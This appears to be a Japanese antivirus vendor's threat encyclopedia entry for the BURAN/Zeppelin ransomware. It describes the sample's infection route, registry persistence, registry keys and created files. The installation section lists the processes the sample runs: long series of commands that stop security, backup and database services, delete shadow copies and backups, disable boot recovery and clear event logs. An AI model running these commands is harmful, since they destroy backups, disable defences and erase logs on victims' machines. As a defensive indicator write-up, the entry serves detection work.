Ransom.Win32.BURAN.WGP

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

身代金要求文書のファイルを作成します。

侵入方法

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

インストール

マルウェアは、以下のプロセスを追加します。

• %Application Data%\Microsoft\Windows\smss.exe -start
• notepad.exe
• "%Application Data%\Microsoft\Windows\smss.exe" -agent 0
• "%Application Data%\Microsoft\Windows\smss.exe" -agent 1
• "%Application Data%\Microsoft\Windows\smss.exe" -agent 2
• "%System%\cmd.exe" /C net stop "Acronis VSS Provider" /y
• "%System%\cmd.exe" /C net stop "Enterprise Client Service" /y
• "%System%\cmd.exe" /C net stop "SQL Backups" /y
• "%System%\cmd.exe" /C net stop "SQLsafe Backup Service" /y
• "%System%\cmd.exe" /C net stop "SQLsafe Filter Service" /y
• "%System%\cmd.exe" /C net stop "Sophos Agent" /y
• "%System%\cmd.exe" /C net stop "Sophos AutoUpdate Service" /y
• "%System%\cmd.exe" /C net stop "Sophos Clean Service" /y
• "%System%\cmd.exe" /C net stop "Sophos Device Control Service" /y
• "%System%\cmd.exe" /C net stop "Sophos File Scanner Service" /y
• "%System%\cmd.exe" /C net stop "Sophos Health Service" /y
• "%System%\cmd.exe" /C net stop "Sophos MCS Agent" /y
• "%System%\cmd.exe" /C net stop "Sophos MCS Client" /y
• "%System%\cmd.exe" /C net stop "Sophos Message Router" /y
• "%System%\cmd.exe" /C net stop "Sophos Safestore Service" /y
• "%System%\cmd.exe" /C net stop "Sophos System Protection Service" /y
• "%System%\cmd.exe" /C net stop "Sophos Web Control Service" /y
• "%System%\cmd.exe" /C net stop "Symantec System Recovery" /y
• "%System%\cmd.exe" /C net stop "Veeam Backup Catalog Data Service" /y
• "%System%\cmd.exe" /C net stop "Zoolz 2 Service" /y
• "%System%\cmd.exe" /C net stop ARSM /y
• "%System%\cmd.exe" /C net stop AVP /y
• "%System%\cmd.exe" /C net stop AcrSch2Svc /y
• "%System%\cmd.exe" /C net stop AcronisAgent /y
• "%System%\cmd.exe" /C net stop Antivirus /y
• "%System%\cmd.exe" /C net stop BackupExecAgentAccelerator /y
• "%System%\cmd.exe" /C net stop BackupExecAgentBrowser /y
• "%System%\cmd.exe" /C net stop BackupExecDeviceMediaService /y
• "%System%\cmd.exe" /C net stop BackupExecJobEngine /y
• "%System%\cmd.exe" /C net stop BackupExecManagementService /y
• "%System%\cmd.exe" /C net stop BackupExecRPCService /y
• "%System%\cmd.exe" /C net stop BackupExecVSSProvider /y
• "%System%\cmd.exe" /C net stop DCAgent /y
• "%System%\cmd.exe" /C net stop EPSecurityService /y
• "%System%\cmd.exe" /C net stop EPUpdateService /y
• "%System%\cmd.exe" /C net stop ESHASRV /y
• "%System%\cmd.exe" /C net stop EhttpSrv /y
• "%System%\cmd.exe" /C net stop EraserSvc11710 /y
• "%System%\cmd.exe" /C net stop EsgShKernel /y
• "%System%\cmd.exe" /C net stop FA_Scheduler /y
• "%System%\cmd.exe" /C net stop IISAdmin /y
• "%System%\cmd.exe" /C net stop IMAP4Svc /y
• "%System%\cmd.exe" /C net stop KAVFS /y
• "%System%\cmd.exe" /C net stop KAVFSGT /y
• "%System%\cmd.exe" /C net stop MBAMService /y
• "%System%\cmd.exe" /C net stop MBEndpointAgent /y
• "%System%\cmd.exe" /C net stop MMS /y
• "%System%\cmd.exe" /C net stop MSExchangeES /y
• "%System%\cmd.exe" /C net stop MSExchangeIS /y
• "%System%\cmd.exe" /C net stop MSExchangeMGMT /y
• "%System%\cmd.exe" /C net stop MSExchangeMTA /y
• "%System%\cmd.exe" /C net stop MSExchangeSA /y
• "%System%\cmd.exe" /C net stop MSExchangeSRS /y
• "%System%\cmd.exe" /C net stop MSOLAP$SQL_2008 /y
• "%System%\cmd.exe" /C net stop MSOLAP$SYSTEM_BGC /y
• "%System%\cmd.exe" /C net stop MSOLAP$TPS /y
• "%System%\cmd.exe" /C net stop MSOLAP$TPSAMA /y
• "%System%\cmd.exe" /C net stop MSSQL$BKUPEXEC /y
• "%System%\cmd.exe" /C net stop MSSQL$ECWDB2 /y
• "%System%\cmd.exe" /C net stop MSSQL$PRACTICEMGT /y
• "%System%\cmd.exe" /C net stop MSSQL$PRACTTICEBGC /y
• "%System%\cmd.exe" /C net stop MSSQL$PROD /y
• "%System%\cmd.exe" /C net stop MSSQL$PROFXENGAGEMENT /y
• "%System%\cmd.exe" /C net stop MSSQL$SBSMONITORING /y
• "%System%\cmd.exe" /C net stop MSSQL$SHAREPOINT /y
• "%System%\cmd.exe" /C net stop MSSQL$SOPHOS /y
• "%System%\cmd.exe" /C net stop MSSQL$SQLEXPRESS /y
• "%System%\cmd.exe" /C net stop MSSQL$SQL_2008 /y
• "%System%\cmd.exe" /C net stop MSSQL$SYSTEM_BGC /y
• "%System%\cmd.exe" /C net stop MSSQL$TPS /y
• "%System%\cmd.exe" /C net stop MSSQL$TPSAMA /y
• "%System%\cmd.exe" /C net stop MSSQL$VEEAMSQL2008R2 /y
• "%System%\cmd.exe" /C net stop MSSQL$VEEAMSQL2012 /y
• "%System%\cmd.exe" /C net stop MSSQLFDLauncher /y
• "%System%\cmd.exe" /C net stop MSSQLFDLauncher$PROFXENGAGEMENT /y
• "%System%\cmd.exe" /C net stop MSSQLFDLauncher$SBSMONITORING /y
• "%System%\cmd.exe" /C net stop MSSQLFDLauncher$SHAREPOINT /y
• "%System%\cmd.exe" /C net stop MSSQLFDLauncher$SQL_2008 /y
• "%System%\cmd.exe" /C net stop MSSQLFDLauncher$SYSTEM_BGC /y
• "%System%\cmd.exe" /C net stop MSSQLFDLauncher$TPS /y
• "%System%\cmd.exe" /C net stop MSSQLFDLauncher$TPSAMA /y
• "%System%\cmd.exe" /C net stop MSSQLSERVER /y
• "%System%\cmd.exe" /C net stop MSSQLServerADHelper /y
• "%System%\cmd.exe" /C net stop MSSQLServerADHelper100 /y
• "%System%\cmd.exe" /C net stop MSSQLServerOLAPService /y
• "%System%\cmd.exe" /C net stop McAfeeEngineService /y
• "%System%\cmd.exe" /C net stop McAfeeFramework /y
• "%System%\cmd.exe" /C net stop McAfeeFrameworkMcAfeeFramework /y
• "%System%\cmd.exe" /C net stop McShield /y
• "%System%\cmd.exe" /C net stop McTaskManager /y
• "%System%\cmd.exe" /C net stop MsDtsServer /y
• "%System%\cmd.exe" /C net stop MsDtsServer100 /y
• "%System%\cmd.exe" /C net stop MsDtsServer110 /y
• "%System%\cmd.exe" /C net stop MySQL57 /y
• "%System%\cmd.exe" /C net stop MySQL80 /y
• "%System%\cmd.exe" /C net stop NetMsmqActivator /y
• "%System%\cmd.exe" /C net stop OracleClientCache80 /y
• "%System%\cmd.exe" /C net stop PDVFSService /y
• "%System%\cmd.exe" /C net stop POP3Svc /y
• "%System%\cmd.exe" /C net stop RESvc /y
• "%System%\cmd.exe" /C net stop ReportServer /y
• "%System%\cmd.exe" /C net stop ReportServer$SQL_2008 /y
• "%System%\cmd.exe" /C net stop ReportServer$SYSTEM_BGC /y
• "%System%\cmd.exe" /C net stop ReportServer$TPS /y
• "%System%\cmd.exe" /C net stop ReportServer$TPSAMA /y
• "%System%\cmd.exe" /C net stop SAVAdminService /y
• "%System%\cmd.exe" /C net stop SAVService /y
• "%System%\cmd.exe" /C net stop SDRSVC /y
• "%System%\cmd.exe" /C net stop SMTPSvc /y
• "%System%\cmd.exe" /C net stop SNAC /y
• "%System%\cmd.exe" /C net stop SQLAgent$BKUPEXEC /y
• "%System%\cmd.exe" /C net stop SQLAgent$CITRIX_METAFRAME /y
• "%System%\cmd.exe" /C net stop SQLAgent$CXDB /y
• "%System%\cmd.exe" /C net stop SQLAgent$ECWDB2 /y
• "%System%\cmd.exe" /C net stop SQLAgent$PRACTTICEBGC /y
• "%System%\cmd.exe" /C net stop SQLAgent$PRACTTICEMGT /y
• "%System%\cmd.exe" /C net stop SQLAgent$PROD /y
• "%System%\cmd.exe" /C net stop SQLAgent$PROFXENGAGEMENT /y
• "%System%\cmd.exe" /C net stop SQLAgent$SBSMONITORING /y
• "%System%\cmd.exe" /C net stop SQLAgent$SHAREPOINT /y
• "%System%\cmd.exe" /C net stop SQLAgent$SOPHOS /y
• "%System%\cmd.exe" /C net stop SQLAgent$SQLEXPRESS /y
• "%System%\cmd.exe" /C net stop SQLAgent$SQL_2008 /y
• "%System%\cmd.exe" /C net stop SQLAgent$SYSTEM_BGC /y
• "%System%\cmd.exe" /C net stop SQLAgent$TPS /y
• "%System%\cmd.exe" /C net stop SQLAgent$TPSAMA /y
• "%System%\cmd.exe" /C net stop SQLAgent$VEEAMSQL2008R2 /y
• "%System%\cmd.exe" /C net stop SQLAgent$VEEAMSQL2012 /y
• "%System%\cmd.exe" /C net stop SQLBrowser /y
• "%System%\cmd.exe" /C net stop SQLSERVERAGENT /y
• "%System%\cmd.exe" /C net stop SQLSafeOLRService /y
• "%System%\cmd.exe" /C net stop SQLTELEMETRY /y
• "%System%\cmd.exe" /C net stop SQLTELEMETRY$ECWDB2 /y
• "%System%\cmd.exe" /C net stop SQLWriter /y
• "%System%\cmd.exe" /C net stop SamSs /y
• "%System%\cmd.exe" /C net stop SepMasterService /y
• "%System%\cmd.exe" /C net stop ShMonitor /y
• "%System%\cmd.exe" /C net stop SmcService /y
• "%System%\cmd.exe" /C net stop Smcinst /y
• "%System%\cmd.exe" /C net stop SntpService /y
• "%System%\cmd.exe" /C net stop SstpSvc /y
• "%System%\cmd.exe" /C net stop TmCCSF /y
• "%System%\cmd.exe" /C net stop TrueKey /y
• "%System%\cmd.exe" /C net stop TrueKeyScheduler /y
• "%System%\cmd.exe" /C net stop TrueKeyServiceHelper /y
• "%System%\cmd.exe" /C net stop UI0Detect /y
• "%System%\cmd.exe" /C net stop VeeamBackupSvc /y
• "%System%\cmd.exe" /C net stop VeeamBrokerSvc /y
• "%System%\cmd.exe" /C net stop VeeamCatalogSvc /y
• "%System%\cmd.exe" /C net stop VeeamCloudSvc /y
• "%System%\cmd.exe" /C net stop VeeamDeploySvc /y
• "%System%\cmd.exe" /C net stop VeeamDeploymentService /y
• "%System%\cmd.exe" /C net stop VeeamEnterpriseManagerSvc /y
• "%System%\cmd.exe" /C net stop VeeamHvIntegrationSvc /y
• "%System%\cmd.exe" /C net stop VeeamMountSvc /y
• "%System%\cmd.exe" /C net stop VeeamNFSSvc /y
• "%System%\cmd.exe" /C net stop VeeamRESTSvc /y
• "%System%\cmd.exe" /C net stop VeeamTransportSvc /y
• "%System%\cmd.exe" /C net stop W3Svc /y
• "%System%\cmd.exe" /C net stop WRSVC /y
• "%System%\cmd.exe" /C net stop bedbg /y
• "%System%\cmd.exe" /C net stop ekrn /y
• "%System%\cmd.exe" /C net stop kavfsslp /y
• "%System%\cmd.exe" /C net stop klnagent /y
• "%System%\cmd.exe" /C net stop macmnsvc /y
• "%System%\cmd.exe" /C net stop masvc /y
• "%System%\cmd.exe" /C net stop mfefire /y
• "%System%\cmd.exe" /C net stop mfemms /y
• "%System%\cmd.exe" /C net stop mfevtp /y
• "%System%\cmd.exe" /C net stop mozyprobackup /y
• "%System%\cmd.exe" /C net stop msftesql$PROD /y
• "%System%\cmd.exe" /C net stop ntrtscan /y
• "%System%\cmd.exe" /C net stop sacsvr /y
• "%System%\cmd.exe" /C net stop sophossps /y
• "%System%\cmd.exe" /C net stop svcGenericHost /y
• "%System%\cmd.exe" /C net stop swi_filter /y
• "%System%\cmd.exe" /C net stop swi_service /y
• "%System%\cmd.exe" /C net stop swi_update /y
• "%System%\cmd.exe" /C net stop swi_update_64 /y
• "%System%\cmd.exe" /C net stop tmlisten /y
• "%System%\cmd.exe" /C net stop wbengine /y
• "%System%\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures
• "%System%\cmd.exe" /C bcdedit /set {default} recoveryenabled no
• "%System%\cmd.exe" /C wbadmin delete catalog -quiet
• "%System%\cmd.exe" /C wbadmin delete systemstatebackup
• "%System%\cmd.exe" /C wbadmin delete systemstatebackup -keepversions:0
• "%System%\cmd.exe" /C wbadmin delete backup
• "%System%\cmd.exe" /C wmic shadowcopy delete
• "%System%\cmd.exe" /C vssadmin delete shadows /all /quiet
• "%System%\cmd.exe" /C reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f
• "%System%\cmd.exe" /C reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f
• "%System%\cmd.exe" /C reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"
• "%System%\cmd.exe" /C attrib "%userprofile%\documents\Default.rdp" -s -h
• "%System%\cmd.exe" /C del "%userprofile%\documents\Default.rdp"
• "%System%\cmd.exe" /C wevtutil.exe clear-log Application
• "%System%\cmd.exe" /C wevtutil.exe clear-log Security
• "%System%\cmd.exe" /C wevtutil.exe clear-log System
• %System%\net1 stop "Acronis VSS Provider" /y
• %System%\net1 stop "Enterprise Client Service" /y
• %System%\net1 stop "SQL Backups" /y
• %System%\net1 stop "SQLsafe Backup Service" /y
• %System%\net1 stop "SQLsafe Filter Service" /y
• %System%\net1 stop "Sophos Agent" /y
• %System%\net1 stop "Sophos AutoUpdate Service" /y
• %System%\net1 stop "Sophos Clean Service" /y
• %System%\net1 stop "Sophos Device Control Service" /y
• %System%\net1 stop "Sophos File Scanner Service" /y
• %System%\net1 stop "Sophos Health Service" /y
• %System%\net1 stop "Sophos MCS Agent" /y
• %System%\net1 stop "Sophos MCS Client" /y
• %System%\net1 stop "Sophos Message Router" /y
• %System%\net1 stop "Sophos Safestore Service" /y
• %System%\net1 stop "Sophos System Protection Service" /y
• %System%\net1 stop "Sophos Web Control Service" /y
• %System%\net1 stop "Symantec System Recovery" /y
• %System%\net1 stop "Veeam Backup Catalog Data Service" /y
• %System%\net1 stop "Zoolz 2 Service" /y
• %System%\net1 stop ARSM /y
• %System%\net1 stop AVP /y
• %System%\net1 stop AcrSch2Svc /y
• %System%\net1 stop AcronisAgent /y
• %System%\net1 stop Antivirus /y
• %System%\net1 stop BackupExecAgentAccelerator /y
• %System%\net1 stop BackupExecAgentBrowser /y
• %System%\net1 stop BackupExecDeviceMediaService /y
• %System%\net1 stop BackupExecJobEngine /y

(註：%Application Data%フォルダは、現在ログオンしているユーザのアプリケーションデータフォルダです。Windows 2000(32-bit)、XP、Server 2003(32-bit)の場合、通常 "C:\Documents and Settings\＜ユーザ名＞\Local Settings\Application Data" です。また、Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Users\＜ユーザ名＞\AppData\Roaming" です。. %System%フォルダは、システムフォルダで、いずれのオペレーティングシステム(OS)でも通常、"C:\Windows\System32" です。.)

自動実行方法

マルウェアは、自身のコピーがWindows起動時に自動実行されるよう以下のレジストリ値を追加します。

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
smss.exe = "%Application Data%\Microsoft\Windows\smss.exe -start"

他のシステム変更

マルウェアは、以下のファイルを削除します。

• %Application Data%\Microsoft\Windows\smss.exe

(註：%Application Data%フォルダは、現在ログオンしているユーザのアプリケーションデータフォルダです。Windows 2000(32-bit)、XP、Server 2003(32-bit)の場合、通常 "C:\Documents and Settings\＜ユーザ名＞\Local Settings\Application Data" です。また、Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Users\＜ユーザ名＞\AppData\Roaming" です。)

マルウェアは、以下のレジストリキーを追加します。

HKEY_CURRENT_USER\Software\Zeppelin

HKEY_CURRENT_USER\Software\Zeppelin\
Keys

HKEY_CURRENT_USER\Software\Zeppelin\
Paths

マルウェアは、以下のレジストリ値を追加します。

HKEY_CURRENT_USER\Software\Zeppelin
Process = "X+GNYZYLwJnzqKPDuCxRODtG3ROS6ed1VSwOnaqJU+BpZxedYd7JZA=="

HKEY_CURRENT_USER\Software\Zeppelin\
Keys
Public Key = "{random characters}"

HKEY_CURRENT_USER\Software\Zeppelin\
Keys
Encrypted Private Key = "{random characters}"

HKEY_CURRENT_USER\Software\Zeppelin
Knock = "666"

HKEY_CURRENT_USER\Software\Zeppelin\
Paths
0 = "PiQr+UDQEsfU6W14QPoEicPzqcOBFETyMwbQzoV1GOaUtSbbcjGftcyfke2NhfVhXCQKcQ=="

HKEY_CURRENT_USER\Software\Zeppelin\
Paths
1 = "aY+08c95uYNxUzb1Q7XKWTfgcaUL8xA2lqJTdzDgZKj5VGk="

HKEY_CURRENT_USER\Software\Zeppelin\
Paths
2 = "K2qsZIq8ZC/ECkZkLTxgttTKA2ZKia152od20EtcyhuOdtc="

作成活動

マルウェアは、以下のファイルを作成します。

• %System Root%\Program Files\DVD Maker\Shared\DissolveNoise.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\button-highlight.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Vignette\NavigationLeft_ButtonGraphic.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Travel\passportcover.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Stacking\NavigationRight_SelectionSubpicture.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Full\dotsdarkoverlay.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Vignette\NavigationRight_ButtonGraphic.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Performance\Perf_Scenes_Mask1.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Pets\Pets_frame-border.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Travel\passport_mask_left.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Performance\Notes_loop.wmv
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Sports\NextMenuButtonIcon.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\FlipPage\1047x576black.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Rectangles\NavigationUp_ButtonGraphic.png
• %System Root%\Program Files\DVD Maker\offset.ax
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\16_9-frame-image-mask.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\btn-next-static.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\photoedge_buttongraphic.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Rectangles\NavigationLeft_ButtonGraphic.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\whitevignette1047.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Full\NavigationUp_ButtonGraphic.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Travel\Passport.wmv
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\flower_trans_matte.wmv
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\rectangle_performance_Thumbnail.bmp
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Shatter\shatter.png
• %System Root%\Program Files\Microsoft Games\Hearts\HeartsMCE.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Performance\Title_Page_PAL.wmv
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\LayeredTitles\203x8subpicture.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\LayeredTitles\NavigationRight_SelectionSubpicture.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Stacking\NavigationLeft_ButtonGraphic.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Performance\Scene_loop_PAL.wmv
• %System Root%\Program Files\Microsoft Games\Solitaire\SolitaireMCE.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Circle_SelectionSubpictureA.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\circleround_videoinset.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\16_9-frame-background.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Push\pushplaysubpicture.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Sports\SportsMainBackground_PAL.wmv
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\specialmainsubpicture.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Full\15x15dot.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Sports\SportsMainBackground.wmv
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Travel\TravelIntroToMain_PAL.wmv
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\ResizingPanels\203x8subpicture.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\flower_trans_rgb.wmv
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Shatter\NavigationUp_SelectionSubpicture.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\WhiteDot.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Travel\button-bullet.png
• %System Root%\Program Files\Java\jre1.8.0_144\lib\security\trusted.libraries
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\scene_button_style_default_Thumbnail.bmp
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Travel\travel.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Sports\CircleSubpicture.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Stacking\NavigationRight_ButtonGraphic.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\ResizingPanels\blackbars80.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\FlipPage\NavigationRight_ButtonGraphic.png
• %System Root%\Program Files\DVD Maker\en-US\OmdProject.dll.mui
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\flower_PreComp_MATTE_PAL.wmv
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Rectangles\15x15dot.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Performance\redmenu.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\NavigationLeft_ButtonGraphic.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\LayeredTitles\NavigationUp_ButtonGraphic.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\4to3Squareframe_SelectionSubpicture.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\rectangle_widescreen_Thumbnail.bmp
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\HueCycle\15x15dot.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Pets\Pets_frame-shadow.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\ResizingPanels\Panel_Mask.wmv
• %Program Files%\Adobe\Acrobat Reader DC\Reader\AcroCEF\natives_blob.bin
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Travel\TravelIntroToMainMask.wmv
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Pets\Pets_image-frame-border.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\SpecialNavigationRight_ButtonGraphic.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Pets\Title_Page_Ref_PAL.wmv
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\nav_uparrow.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Performance\PreviousMenuButtonIcon.png
• %System Root%\Program Files\DVD Maker\Eurosti.TTF
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Performance\ParentMenuButtonIconSubpict.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Performance\TitleButtonSubpicture.png
• %System Root%\Program Files\DVD Maker\audiodepthconverter.ax
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Sports\highlight.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Pets\Notes_LOOP_BG_PAL.wmv
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\LayeredTitles\blackbars60.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Travel\Passport_PAL.wmv
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\FlipPage\203x8subpicture.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Memories\btn-next-static.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\NavigationRight_SelectionSubpicture.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\BabyBoyMainToNotesBackground_PAL.wmv
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\rectangle_photo_Thumbnail.bmp
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\LayeredTitles\layers.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\curtains.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\FlipPage\NavigationRight_SelectionSubpicture.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\nav_leftarrow.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\rectangle_glass_Thumbnail.bmp
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Performance\NextMenuButtonIcon.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Sports\sports_disc_mask.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Travel\16_9-frame-background.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\OldAge\NavigationLeft_SelectionSubpicture.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\HueCycle\NavigationLeft_ButtonGraphic.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Push\NavigationRight_SelectionSubpicture.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Sports\ParentMenuButtonIcon.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\specialoccasion.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\rectangle_specialocc_Thumbnail.bmp
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Pets\Pets_btn-over-DOT.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Stacking\720_480shadow.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Sports\SportsMainToNotesBackground.wmv
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Performance\Title_Page.wmv
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\OldAge\15x15dot.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\ResizingPanels\1047x576black.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Postage_SelectionSubpicture.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Shatter\NavigationRight_ButtonGraphic.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Travel\TravelIntroToMainMask_PAL.wmv
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Vignette\whiteband.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Sports\SportsScenesBackground_PAL.wmv
• %System Root%\Program Files\DVD Maker\SecretST.TTF
• %System Root%\Program Files\DVD Maker\Shared\Filters.xml
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Postage_VideoInset.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Sports\SportsMainToScenesBackground.wmv
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Rectangles\vistabg.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\shadowonlyframe_videoinset.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Full\NavigationLeft_SelectionSubpicture.png
• %System Root%\Program Files\DVD Maker\fieldswitch.ax
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Vignette\15x15dot.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Travel\PassportMask.wmv
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Stacking\720x480icongraphic.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Travel\btn-next-static.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Sports\SportsNotesBackground.wmv
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Travel\PassportMask_PAL.wmv
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\menu_style_default_Thumbnail.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Rectangles\1047x576_91n92.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\LayeredTitles\NavigationLeft_ButtonGraphic.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\OldAge\NavigationRight_ButtonGraphic.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Memories\16_9-frame-highlight.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Pets\Pets_frame-imageMask.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\NavigationUp_ButtonGraphic.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Travel\16_9-frame-image-inset.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\NavigationUp_SelectionSubpicture.png
• %Program Files%\Adobe\Acrobat Reader DC\Reader\AcroCEF\cef.pak
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\shadowonlyframe_selectionsubpicture.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Travel\play-background.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\SpecialNavigationUp_ButtonGraphic.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Travel\content-background.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Stacking\1047x576black.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\HueCycle\colorcycle.png
• %User Temp%\806B4554.zeppelin
